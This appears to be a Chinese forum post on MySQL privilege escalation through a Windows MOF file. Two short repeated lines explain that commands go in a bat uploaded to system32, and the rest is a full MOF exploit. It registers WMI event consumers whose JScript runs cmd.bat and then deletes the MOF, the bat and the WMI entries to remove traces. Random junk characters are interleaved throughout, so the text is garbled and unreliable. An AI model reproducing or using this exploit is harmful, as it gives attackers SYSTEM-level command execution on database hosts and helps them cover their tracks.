这个sql提权MOF需要运行 system下的文件,不能定义路径。
+ T; Y9 V% g* b* y6 k3 }需要将要运行的命令写入到bat上传到system32目录,然后执行。
% d, u8 y) i, D$ T+ ?! ^" x
+ C ]7 S3 T) _3 [$ |这个sql提权MOF需要运行 system下的文件,不能定义路径。# \6 F& `6 e. _0 f
需要将要运行的命令写入到bat上传到system32目录,然后执行。
% D/ f- e* G, U$ N
5 X1 l! b7 W# Z m) a; q' o#pragma! J3 ^4 `* x% P Y' J' T- O5 B
namespace("\\\\.\\root\\cimv2")% r+ z6 e* z( X* O, P
class: {( x; c% c' C" _2 o, a- y
MyClass547
0 s( d! n" L0 C8 M1 r# j& C1 |8 C { [key]
d& F5 R+ x4 r9 T% B) n string
- T. x' K, Q0 L Name;5 y2 X: y7 ~) e! C& I# T8 Y
};1 ?, x$ e( n' M; L. j6 @+ l! v, g6 r
class% D3 N# f; Y+ J$ s, f% Y
ActiveScriptEventConsumer5 [+ x& ]' X4 Y. H+ |. p
: __EventConsumer { [key]
" @6 v* N+ J4 \, ~8 w7 Z0 L string
; r; ~- P3 w$ J5 z Name; [not_null]
$ K! o/ d: p) T8 p% }1 ^4 h. i string" b' Y3 |6 k6 M5 V
ScriptingEngine; string
$ A. d8 l5 T- r! r- z8 i& B ScriptFileName; [template]6 K6 Y9 s5 s" Y( c6 T
string
! V( A' ~; T: [ ScriptText; uint32 KillTimeout;& f9 z2 c& P) V" }
}; instance of __Win32Provider as $P {
, v* ?) f6 r% F& I& H. w9 M. h) U Name$ t2 O# G) ~: x/ h3 M% C2 h
=
8 [3 W0 C# u2 I/ t/ _( V! F) @ "ActiveScriptEventConsumer"; CLSID =4 ?1 @4 q" q! j- L J, g' w4 t
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
0 l# k; }( B# k PerUserInitialization
: ~( U+ b9 m: V6 a# E) H' t4 O = TRUE;
& C; j E. Z0 y }; instance of __EventConsumerProviderRegistration { Provider5 [& R: P, q6 Y$ L& W
= $P; ConsumerClassNames
5 b4 T: P4 ], N* ^" C p =9 m3 Q" P" Y ~9 h, d$ I
{"ActiveScriptEventConsumer"};
) s, `8 |6 }5 O9 x2 S0 x };
6 Q% r" W b, n$ w" u; W6 ~ Instance of ActiveScriptEventConsumer. Q% U+ a( }1 {8 X" N& m. W6 K& G
as $cons { Name
, j$ O7 t$ w3 E) @ =7 w P3 F! I" L3 Z& Y
"ASEC"; ScriptingEngine u, R+ K/ K- m# q4 z
=
1 V* M0 x6 ?7 C/ h2 ], O8 n, `- S "JScript"; ScriptText
8 U H6 A) L0 f9 A =0 ]" U Q; G' S* ~: l
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
6 L4 m. S* u5 K$ F* E Instance of ActiveScriptEventConsumer M: o2 |6 k6 o4 `. K/ r: C
as $cons2 { Name5 k! e2 ~; v, `
=5 O- c- r, e! f+ i/ u4 C+ m3 D
"qndASEC"; ScriptingEngine/ M* L, [2 R1 \6 L% D
=3 f) B3 G6 w) a1 e
"JScript"; ScriptText2 {+ Z- B: E) o* d0 }0 [7 Q$ m
=
5 a- S9 a' _; J) i4 ]: N* u "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";0 |+ N7 @/ Q: g
}; instance of __EventFilter as $Filt { Name
% z8 |) H0 n$ P =
1 G, K+ ~7 D! c: a& W "instfilt"; Query
2 l; u( S0 L2 }2 t% f$ L% \ =
9 M' o* L! I+ ]: @+ Y! n1 e "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage" B- T" x8 H& P8 w2 i
=0 @. C- z: L8 n X) \
"WQL"; }; instance of __EventFilter as $Filt2 { Name
- D8 E( K6 j! V& i; I0 [/ A =
r. j7 u& m) ~: { "qndfilt"; Query6 B3 S2 X$ d9 K& ?
=3 ]3 ]3 \4 G3 N8 G+ ]2 P, K
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
/ Y6 H% N- R' E% t! `; Q; M8 } =
# O8 Q2 l4 d8 x* | "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
* j) t! _. Z8 V" j: }( S: t4 i+ l = $cons; Filter! k* c1 ]6 D( s/ i
= $Filt;
( q2 \% X* {, v4 a }; instance of __FilterToConsumerBinding as $bind2 { Consumer; |$ I. \$ B- z, a. H
= $cons2; Filter
( o& d6 p C; b = $Filt2;
" M& n8 s G) k3 w/ V }; instance of MyClass547 E. ]! I) }) Q6 ?" z0 R
as $MyClass { Name4 E! j' A, }. [# v H% b+ O+ o! O
=
* y% m' p$ Q& N3 j1 j/ a- t "ClassConsumer";+ T5 w$ O+ x# j+ L) X+ P, H' V0 p
}; |